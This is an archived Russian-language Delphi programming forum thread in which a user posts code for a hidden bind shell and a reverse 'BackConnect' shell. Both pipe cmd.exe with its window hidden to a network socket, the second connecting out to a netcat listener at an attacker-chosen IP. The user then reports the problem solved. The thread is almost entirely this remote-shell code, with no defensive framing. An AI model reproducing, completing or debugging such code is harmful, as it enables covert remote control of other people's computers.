Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2007.10.07;
Скачать: CL | DM;

Вниз

BackConnect на Delphi помогите плз.....   Найти похожие ветки 

 
22b   (2007-02-10 19:29) [0]

Добрый день....
столкнулся я со следуюющей проблемой реализовал вывод cmd в порт локальный...вот ф-я:
[CODE]
unction SetShell(port:integer):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrIn: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_port := htons(port);
 bind(FSocket, SockAddrIn, 16);
 listen(FSocket, 0);
 while true do
   begin
     sHandle := accept(FSocket, nil, 0);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end;
[/CODE]
А вот сейчас задумал реализовать BackConnect на открытый на прослушку порт нетката и ничего не могу поделать.... не работает и все
вот что получилось у меня в коде...

[CODE]
function SetShell(port:integer;ip:string):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrOut: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrOut.sin_family := AF_INET;
 SockAddrOut.sin_port := htons(port);
 SockAddrOut.sin_addr:=LookupName(ip);
 connect(FSocket, SockAddrOut, sizeof(SockAddrOut));
 ShowMessage(inttostr(sHandle));
 //listen(FSocket, 0);

     //sHandle := accept(FSocket, nil, size);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
end;
[/CODE]

Заранеее спасибо за ответ...


 
22b   (2007-02-10 19:34) [1]

не актуально проблема решена!!!!!!!



Страницы: 1 вся ветка

Текущий архив: 2007.10.07;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.021 c
15-1189059162
boriskb
2007-09-06 10:12
2007.10.07
Чой то это... непонятно


4-1175766573
Степан Журавлев
2007-04-05 13:49
2007.10.07
GetParent


9-1160475693
grouzd)ev
2006-10-10 14:21
2007.10.07
Конкурсы по кодингу игр


2-1189580125
Алексей Носов
2007-09-12 10:55
2007.10.07
Память


2-1189508158
Korneley
2007-09-11 14:55
2007.10.07
Неясности с отрисовкой SubItem у ListView